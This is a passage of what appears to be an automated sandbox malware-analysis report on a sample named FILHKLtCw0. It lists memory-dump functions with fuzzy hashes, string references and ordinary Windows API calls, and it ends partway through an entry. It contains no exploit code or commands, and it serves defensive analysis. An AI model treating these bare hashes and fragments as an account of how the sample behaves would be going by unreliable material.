Instruction Fuzzy Hash: 2481F475E01648CFDB08DFA9C9906DDBBF2BF88300F24C529D814AB359EB349946CB50

Function 38ED8640 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf6be9453de9cbf6ca36980422ede8e3879ea6cb6aa4805da6185120cec9fea3
Instruction ID: 8bbe0475a6aef1341ce0bff3f07ba8e9eec0fd04aba8cc794652a72fe5a41c44
Opcode Fuzzy Hash: cf6be9453de9cbf6ca36980422ede8e3879ea6cb6aa4805da6185120cec9fea3
Instruction Fuzzy Hash: 0771B575E01628CFDB64DF66C9847DDBBF2BF89301F1491AAD408A7260DB349A86CF40

Function 38EDC92F Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: add09db688fba2660b62c98e6c1abfbf0d4dbb663e4a38e0906f87e33a99a70f
Instruction ID: edacae152d0a6169b37d5074f6240b3794670aa3aee00b5826cb99cacf440f10
Opcode Fuzzy Hash: add09db688fba2660b62c98e6c1abfbf0d4dbb663e4a38e0906f87e33a99a70f
Instruction Fuzzy Hash: B0615974A40258CFDB15DF64C945BADBBB6FF88300F1088AA980A77365CB395D86DF14

Function 38ED9D00 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b5fcb5ca7aac1a2b35034f46db2bb3b7b1bcc159728d7256816bfee9dbd7a18
Instruction ID: eb8e051a87296baaad90a73d0dda17c255f7552fdc3143a5a2daa025fa4d8809
Opcode Fuzzy Hash: 6b5fcb5ca7aac1a2b35034f46db2bb3b7b1bcc159728d7256816bfee9dbd7a18
Instruction Fuzzy Hash: CF5166B1E016188FEB58CF6BC945789FBF3AFC9204F14C1AAC50CA7265DB741A868F51

Function 38EDA352 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6c821ffba91b01890b118b74575a481402b760ab2da970b7eec82bf84407364
Instruction ID: e00a178a74944092f4c751bacfe9da63b55a6114681ebe676d32a329892159a6
Opcode Fuzzy Hash: e6c821ffba91b01890b118b74575a481402b760ab2da970b7eec82bf84407364
Instruction Fuzzy Hash: A04166B1E016188FEB58CF6BC9457C9FAF3AFC9200F14C1AAC50CA6264DB740A868F51

Function 001166B8 Relevance: 10.5, Strings: 8, Instructions: 476
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,aq, xrefs: 00116B58
(o]q, xrefs: 00116BC7
(o]q, xrefs: 001166F6
(o]q, xrefs: 0011687A
,aq, xrefs: 00116B68
(o]q, xrefs: 00116BD7
(o]q, xrefs: 001167DD
(o]q, xrefs: 001167B1

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$(o]q$(o]q$(o]q$(o]q$,aq$,aq
API String ID: 0-1435242062
Opcode ID: f9c62b26ad1ec6944be3b8886bfb138e77b01eb5fe07f9f01b9fc6d53ddec329
Instruction ID: 306f9136988006ff2d764fa83e42e0252d8cab95cfc668f1677f9a70f57a7686
Opcode Fuzzy Hash: f9c62b26ad1ec6944be3b8886bfb138e77b01eb5fe07f9f01b9fc6d53ddec329
Instruction Fuzzy Hash: A8126C30A006099FCB18CF69D984ADEBBF6FF48314F1585A9E849DB2A1D731ED81CB50

Function 39400980 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 394009FE
GetCurrentThread.KERNEL32 ref: 39400A3B
GetCurrentProcess.KERNEL32 ref: 39400A78
GetCurrentThreadId.KERNEL32 ref: 39400AD1

Memory Dump Source

Source File: 00000004.00000002.3310887101.0000000039400000.00000040.00000800.00020000.00000000.sdmp, Offset: 39400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39400000_FILHKLtCw0.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: a1719e7eb0aa9515f2e0809ffb9c704fd0c4c1b80ef321c886b1f88878f52671
Instruction ID: 0dae2919542f7e5f6f45e3a1b8b9b22b5daff8194488e7802cf3aa8d6353ea3a
Opcode Fuzzy Hash: a1719e7eb0aa9515f2e0809ffb9c704fd0c4c1b80ef321c886b1f88878f52671
Instruction Fuzzy Hash: 8E5146B49002098FDB04DFA9C548BDEBBF5FF89310F208469E419A7360D779A940CFA5

Function 001119B8 Relevance: 5.3, Strings: 4, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xaq, xrefs: 00111A76
Xaq, xrefs: 00111B7C
Xaq, xrefs: 00111AB0
Xaq, xrefs: 00111B2F

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: Xaq$Xaq$Xaq$Xaq
API String ID: 0-4015495023
Opcode ID: 9bf907c20db010cc09747a95e50a6ae6f5012689cff4cf47aa0706f3a295ec0f
Instruction ID: 68ca7f48f9ac0a988c26e0be16d71a03836729f83b0a02cd398ef6c9125bc38b
Opcode Fuzzy Hash: 9bf907c20db010cc09747a95e50a6ae6f5012689cff4cf47aa0706f3a295ec0f
Instruction Fuzzy Hash: 53C1A132D442299FCB9A9F788C842D9BBB2FF99300F4544B6D84597166F7304EC6CB61

Function 38EDD548 Relevance: 5.2, Strings: 4, Instructions: 153
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

dr98, xrefs: 38EDD56D
(N+64N+6, xrefs: 38EDD5E2
4']q, xrefs: 38EDD5CA
4']q, xrefs: 38EDD5ED

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: (N+64N+6$4']q$4']q$dr98
API String ID: 0-3598168181
Opcode ID: 2fbd413317314f1dcd9d574477a98894ad8d46c175b498d4c056a90c56b333ad
Instruction ID: 976b9816af7ebba48349cb30d1eee025ca78950bf4432ad49cdc4458b4dd0d7f
Opcode Fuzzy Hash: 2fbd413317314f1dcd9d574477a98894ad8d46c175b498d4c056a90c56b333ad
Instruction Fuzzy Hash: A8518C30A402098FCB05EFA8D551ADEBBF6FF89300F1145A9E005AB266DB35AD45CFA1

Function 00110B20 Relevance: 4.0, Strings: 3, Instructions: 205
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

t"6, xrefs: 00110B57, 00110C86
LR]q, xrefs: 00110B62
P*6, xrefs: 00110B7A

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: LR]q$P*6$t"6
API String ID: 0-3134733790
Opcode ID: fd50340779b4983aa9f974c0c2f71500c39a13e3105db53c6784238801931e8e
Instruction ID: bc800517ea23d26b1ce220b59f7e1da1410ff976c12602b3ee8f88fa06a96381
Opcode Fuzzy Hash: fd50340779b4983aa9f974c0c2f71500c39a13e3105db53c6784238801931e8e
Instruction Fuzzy Hash: BDA10474E41A09CFCF48DFA8E986A9DBBF5FB89301F114228D405A7265DB786946CF80

Function 00110B30 Relevance: 4.0, Strings: 3, Instructions: 200
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

t"6, xrefs: 00110B57, 00110C86
LR]q, xrefs: 00110B62
P*6, xrefs: 00110B7A

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: LR]q$P*6$t"6
API String ID: 0-3134733790
Opcode ID: 5706804c02ef0779c75f04089ffcdef0dc890a02d918237e91b2a48c058b0f00
Instruction ID: 9cd546bd60d30a5116f48d68d6a3ad097e55d2b2729a12b28c1029bfa24a87d2
Opcode Fuzzy Hash: 5706804c02ef0779c75f04089ffcdef0dc890a02d918237e91b2a48c058b0f00
Instruction Fuzzy Hash: CCA1F474E41A09CFCF48DFA8E98699DBBF5FF89301F114228E405A7265DB786946CF80

Function 38ED7920 Relevance: 3.9, Strings: 3, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<C98, xrefs: 38ED79D4
<C98, xrefs: 38ED7B22
<C98, xrefs: 38ED7AEB

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: <C98$<C98$<C98
API String ID: 0-1835208628
Opcode ID: 297befbabdba5b1cfd4fbff3e80733871a4058c061314fda3409da9a5affeca7
Instruction ID: 3f394ad3a27b7a1472a854d75c2771685f95b408ea1ad25cc6bead71a2e09e60
Opcode Fuzzy Hash: 297befbabdba5b1cfd4fbff3e80733871a4058c061314fda3409da9a5affeca7
Instruction Fuzzy Hash: 1E510174E01318CFDB14CFB5D954AAEBBB6BF88304F208529D809AB355DB395A4ACF40

Function 00114F00 Relevance: 2.8, Strings: 2, Instructions: 334
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 0011501E
Haq, xrefs: 00114FEB

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: Haq$Haq
API String ID: 0-4016896955
Opcode ID: c3ed0ad0c22732f15ab6656eed0971d12f81c0ca09cf8006237c6fd28d7de571
Instruction ID: 595c6cf83e1d0a25a52ea4dc1b0ee93f8f2462617f230d0e9ae8b272cc846286
Opcode Fuzzy Hash: c3ed0ad0c22732f15ab6656eed0971d12f81c0ca09cf8006237c6fd28d7de571
Instruction Fuzzy Hash: 81B1CF35308655CFCB199F28C894BAA7BE2AFC9300F154569E846CB3A1DB34CC82CB91

Function 00118D90 Relevance: 2.8, Strings: 2, Instructions: 319COMMON

Download Yara Rule

Strings

4']q, xrefs: 00118ECC
4']q, xrefs: 00118DC4

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: d3f3e6c4b7d1b33b6caa5dd77bdd96de2da5744a4fd47203a0f88e3abe6df8d0
Instruction ID: 7a7c0676bbdc1d6ab164e7a32d2e79cc249acc3f271ffbf4f7ef5a18dbffec5f
Opcode Fuzzy Hash: d3f3e6c4b7d1b33b6caa5dd77bdd96de2da5744a4fd47203a0f88e3abe6df8d0
Instruction Fuzzy Hash: 1AC191706046068FCB19CF68C490AEEBBF6AF85300F15C5BAE405DB252DB35ED86CB91

Function 00115460 Relevance: 2.7, Strings: 2, Instructions: 228COMMON

Download Yara Rule

Strings

,aq, xrefs: 00115540
,aq, xrefs: 00115536

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: ,aq$,aq
API String ID: 0-2990736959
Opcode ID: d8e51bc431a622c460976f0cf64330e79f92a9e0d7b9763fd2e1c93cf453eb5d
Instruction ID: a1a55ec57adb35c0f6095f5b6f89092fade458ee2829109542a1c6fac4057cc2
Opcode Fuzzy Hash: d8e51bc431a622c460976f0cf64330e79f92a9e0d7b9763fd2e1c93cf453eb5d
Instruction Fuzzy Hash: BD812934A00905CFCB58CF69C8849EAB7B3BFC9315B658179D4159B365EB31EC81CB91

Function 38EDFAB8 Relevance: 2.7, Strings: 2, Instructions: 189COMMON

Download Yara Rule

Strings

g98, xrefs: 38EDFAD9
4N+6, xrefs: 38EDFB69

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: 4N+6$g98
API String ID: 0-4197494078
Opcode ID: a9d997758754e870fa5aaf876da529beb254470b5cdc7cb666bf06f863576df1
Instruction ID: cc0c880e1eac4a525ffe61a4f7534eaacbe4b22a30c69c191d603a819e71751e
Opcode Fuzzy Hash: a9d997758754e870fa5aaf876da529beb254470b5cdc7cb666bf06f863576df1
Instruction Fuzzy Hash: CD712975E00219DFDB15DFB4C8586ADBBB6FF89304F208129E406AB390DB399946CF81

Function 00118BF0 Relevance: 2.7, Strings: 2, Instructions: 152COMMON

Download Yara Rule

Strings

4']q, xrefs: 00118D2D
4']q, xrefs: 00118D44

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: 9ec9c24f7b0710c9f2a90e95ad0c12bfd450b2875d1f63805cccd94b0fd745a6
Instruction ID: f5acad9b805418ae055575704f8211d2bdf4b942d8d628417fe6a162086062cb
Opcode Fuzzy Hash: 9ec9c24f7b0710c9f2a90e95ad0c12bfd450b2875d1f63805cccd94b0fd745a6
Instruction Fuzzy Hash: 2151B0303012449FDB08DF69C840BEABBE6EF89350F14C476E909CB2A1DB75CD818BA1

Function 00112C88 Relevance: 2.6, Strings: 2, Instructions: 112COMMON

Download Yara Rule

Strings

Xaq, xrefs: 00112C95
Xaq, xrefs: 00112CBE

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: Xaq$Xaq
API String ID: 0-1488805882
Opcode ID: 883438dd071eb1f77eb1c3c27704ac82961fab9453d16a61e4c7af05ebee259d
Instruction ID: 83aa3c047ae7b76e595cfb8d15406ad3e4a7b7ed9e4f37e04bacebca3f28f594
Opcode Fuzzy Hash: 883438dd071eb1f77eb1c3c27704ac82961fab9453d16a61e4c7af05ebee259d
Instruction Fuzzy Hash: 0731E431B002258BDF1C4AAAE9943FEA5EABBC4350F15443DD902D3394EF78CCD59291

Function 00117EC0 Relevance: 2.6, Strings: 2, Instructions: 103COMMON

Download Yara Rule

Strings

$]q, xrefs: 00117F9F
$]q, xrefs: 00117F7C

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: daf64720769856a38c5f21f1ee6a53f2df24f77f9c89340ae1020940eb7695bb
Instruction ID: dc42b6f93e77c247656188739401bc2c7846a5b61deb44133a77dff72b1608af
Opcode Fuzzy Hash: daf64720769856a38c5f21f1ee6a53f2df24f77f9c89340ae1020940eb7695bb
Instruction Fuzzy Hash: 9C3132303092464FDB2D8F29CC9497E7B75AB85700B2545BAE066CB3E1DB68DCC2C7A1

Function 38EDFAA8 Relevance: 2.6, Strings: 2, Instructions: 88COMMON

Download Yara Rule

Strings

g98, xrefs: 38EDFAD9
4N+6, xrefs: 38EDFB69

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: 4N+6$g98
API String ID: 0-4197494078
Opcode ID: 176c7bad84b79cbc7a2fd28fc41a26dc2baa6979f5c5586609d1234c0c6670de
Instruction ID: 1e524a07eefc287f97cfaa154dd7537e06c6ef5772f0515f507acd30f80a2681
Opcode Fuzzy Hash: 176c7bad84b79cbc7a2fd28fc41a26dc2baa6979f5c5586609d1234c0c6670de
Instruction Fuzzy Hash: 55318139E003058FDB19DBB5C4686AD7BF6AF89344F14452AD806EB394DF398846CF51

Function 38ED7922 Relevance: 2.6, Strings: 2, Instructions: 72COMMON

Download Yara Rule

Strings

<C98, xrefs: 38ED7B22
<C98, xrefs: 38ED7AEB

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: <C98$<C98
API String ID: 0-2250919751
Opcode ID: cfb63831474f706f0b04b71fdcacdb2c47b56e27d62e3a004db7d605b57ae477
Instruction ID: 6052cccff25900beaa0badbf0d748ba3fabfd2b634fc254b14db0836775f2426
Opcode Fuzzy Hash: cfb63831474f706f0b04b71fdcacdb2c47b56e27d62e3a004db7d605b57ae477
Instruction Fuzzy Hash: 7D211575D02318DFEB04CFA1D8547EEBBB2AF89304F508429D818BB240DB795A8ACF51

Function 39400104 Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 39400222

Memory Dump Source

Source File: 00000004.00000002.3310887101.0000000039400000.00000040.00000800.00020000.00000000.sdmp, Offset: 39400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39400000_FILHKLtCw0.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 63e973393c3cfa41aa70444120a7cdee8c8a4209359ee5f8764c5bbd3bd344af
Instruction ID: 501c6cee5a0b547b8844e23b317585f2dee8c1c2978ef4df66ef8141752ce74e
Opcode Fuzzy Hash: 63e973393c3cfa41aa70444120a7cdee8c8a4209359ee5f8764c5bbd3bd344af
Instruction Fuzzy Hash: D351BFB5D003499FDB14CFA9C894ADEBBB5BF49300F64812AE819AB310D775A881CF90

Function 39400110 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 39400222

Memory Dump Source

Source File: 00000004.00000002.3310887101.0000000039400000.00000040.00000800.00020000.00000000.sdmp, Offset: 39400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39400000_FILHKLtCw0.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 7eafc856d09335f9da753fe4f5570659c5cf76a24216db89fd995c3b598b52fa
Instruction ID: 6c55c04175c27deb7805c18376bdb6d2fabe9b1665f84b32ef406c4d8e046bc1
Opcode Fuzzy Hash: 7eafc856d09335f9da753fe4f5570659c5cf76a24216db89fd995c3b598b52fa
Instruction Fuzzy Hash: 9141B1B1D003499FDB14CF99C894ADEFBB5BF48310F20812AE819AB210D775A985CF90

Function 39401854 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 39401E81

Memory Dump Source

Source File: 00000004.00000002.3310887101.0000000039400000.00000040.00000800.00020000.00000000.sdmp, Offset: 39400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39400000_FILHKLtCw0.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 86e3d27f306dd5dc45af82c5840e0c8a75821fc8a371c5a0237ed788407b24a1
Instruction ID: e6150eda59c6ca9cd25e82de25869da894757ce6a5dce27ee64ba43ed7c4fb98
Opcode Fuzzy Hash: 86e3d27f306dd5dc45af82c5840e0c8a75821fc8a371c5a0237ed788407b24a1
Instruction Fuzzy Hash: 204116B99003459FDB04DF99C488A9BFBF5FF89314F248459E519A7321D774A841CFA0

Function 39400BC1 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 39400C4F

Memory Dump Source

Source File: 00000004.00000002.3310887101.0000000039400000.00000040.00000800.00020000.00000000.sdmp, Offset: 39400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39400000_FILHKLtCw0.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 2115c24a23f47e59fc5e54c4f4eaa5ae7f35533ee1818e44e9dc87e566225954
Instruction ID: 2bc7026723657b410c1e3997c67023a47246e0c797d57c98f973235233e5ecf5
Opcode Fuzzy Hash: 2115c24a23f47e59fc5e54c4f4eaa5ae7f35533ee1818e44e9dc87e566225954
Instruction Fuzzy Hash: F121D4B59002489FDB10CFAAD984ADEBFF8EB49310F14845AE959A7310D378A940CFA5

Function 39400BC8 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 39400C4F

Memory Dump Source

Source File: 00000004.00000002.3310887101.0000000039400000.00000040.00000800.00020000.00000000.sdmp, Offset: 39400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39400000_FILHKLtCw0.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 976f55a872d5021ef8d4f9b5263624a1d6fd1874625dba11278009a6e2fa6842
Instruction ID: 53f0b6655f2770bda38beae0b81198b656679f2b20ea8d449903c622f26a9349
Opcode Fuzzy Hash: 976f55a872d5021ef8d4f9b5263624a1d6fd1874625dba11278009a6e2fa6842
Instruction Fuzzy Hash: FE21C4B59002489FDB10CFAAD984ADEFBF4EB48310F14841AE959A3310D378A940CFA5

Function 39402019 Relevance: 1.5, APIs: 1, Instructions: 48timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 3940207D

Memory Dump Source

Source File: 00000004.00000002.3310887101.0000000039400000.00000040.00000800.00020000.00000000.sdmp, Offset: 39400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39400000_FILHKLtCw0.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 3d7f3dcdca63109a3a2d2a17c99ce335bc36540c91e570e19e215049cac8f415
Instruction ID: 853fe112b83b1eef6267e182351eac01309abd1f8f94f2ac037f2968273ed1d7
Opcode Fuzzy Hash: 3d7f3dcdca63109a3a2d2a17c99ce335bc36540c91e570e19e215049cac8f415
Instruction Fuzzy Hash: 411113B58003489FDB10DFAAC884BDEBFF8EB59324F14845AE559A7210C379A584CFA1

Function 3940D4C8 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 3940D525

Memory Dump Source

Source File: 00000004.00000002.3310887101.0000000039400000.00000040.00000800.00020000.00000000.sdmp, Offset: 39400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39400000_FILHKLtCw0.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: bcfa69fe2c4d72204b6249ac85000a7e0f668c3e9c10a56f04eb0a721ac5daf8
Instruction ID: c504c21344f9a5aa498bedf6e4d6ad7b3ea2230eda18588f4d971a3dc292b770
Opcode Fuzzy Hash: bcfa69fe2c4d72204b6249ac85000a7e0f668c3e9c10a56f04eb0a721ac5daf8
Instruction Fuzzy Hash: C21110B58003888FCB20DFAAD844BDEBFF4AB49324F24845AD519A7210C339A584CFA1

Function 3940C618 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 3940D525

Memory Dump Source

Source File: 00000004.00000002.3310887101.0000000039400000.00000040.00000800.00020000.00000000.sdmp, Offset: 39400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39400000_FILHKLtCw0.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 47e6be82e32eda6c86b474594bdd1416f0897a1aaff8f6cf3c1a8808ffd6db0b
Instruction ID: e448a420d99a8f285d92452d59f99e88fe55eb435ac03c97e6300e99c7b7096c
Opcode Fuzzy Hash: 47e6be82e32eda6c86b474594bdd1416f0897a1aaff8f6cf3c1a8808ffd6db0b
Instruction Fuzzy Hash: 981115B5900348CFCB20DF9AD944B9EFBF4EB49324F108469D519A7710C779A944CFA5

Function 3940C6C4 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,3940DA0F), ref: 3940E80D

Memory Dump Source

Source File: 00000004.00000002.3310887101.0000000039400000.00000040.00000800.00020000.00000000.sdmp, Offset: 39400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39400000_FILHKLtCw0.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 72712ffcfcf6716af3101e6e4f7b69be1eb6f9a14103595f9b44e4f4f83cf9a0
Instruction ID: 7f6c5a5cac8d775945269ac1673f345d4ad019c9ba2444761930505a392abced
Opcode Fuzzy Hash: 72712ffcfcf6716af3101e6e4f7b69be1eb6f9a14103595f9b44e4f4f83cf9a0
Instruction Fuzzy Hash: 1B11EDB5D047498FCB10DF9AD544B9EFBF4EB49320F10842AE919A3310D379A544CFA5

Function 39402020 Relevance: 1.5, APIs: 1, Instructions: 44timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 3940207D

Memory Dump Source

Source File: 00000004.00000002.3310887101.0000000039400000.00000040.00000800.00020000.00000000.sdmp, Offset: 39400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39400000_FILHKLtCw0.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 6efc8382582f13efa0f429e41733ea5b822d238e03e189f2a4efac140ffde9a0
Instruction ID: e1ee3e3dd56e79d34a6852a211d5b5e3ed47bd913c32dc397d02998f5248f179
Opcode Fuzzy Hash: 6efc8382582f13efa0f429e41733ea5b822d238e03e189f2a4efac140ffde9a0
Instruction Fuzzy Hash: 231103B58003499FCB10DF9AC884BDEFBF8EB48320F10841AD519A3710C379A580CFA1

Function 3940E7A8 Relevance: 1.5, APIs: 1, Instructions: 43windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,3940DA0F), ref: 3940E80D

Memory Dump Source

Source File: 00000004.00000002.3310887101.0000000039400000.00000040.00000800.00020000.00000000.sdmp, Offset: 39400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39400000_FILHKLtCw0.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: bfdb7097cab9a96a136e7013e5d9b417a948e8e6db09e564a02d363e584c1e7e
Instruction ID: d05c2647d333329307488ab59bef243b645718a03fe980a878fa0ba5a9e332f5
Opcode Fuzzy Hash: bfdb7097cab9a96a136e7013e5d9b417a948e8e6db09e564a02d363e584c1e7e
Instruction Fuzzy Hash: 8211EDB6D006498FCB10DF9AD545BDEFBF5AB48324F10842AD559A3210D378A541CFA5

Function 00119EB0 Relevance: 1.4, Strings: 1, Instructions: 120COMMON

Download Yara Rule

Strings

(o]q, xrefs: 0011A039

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

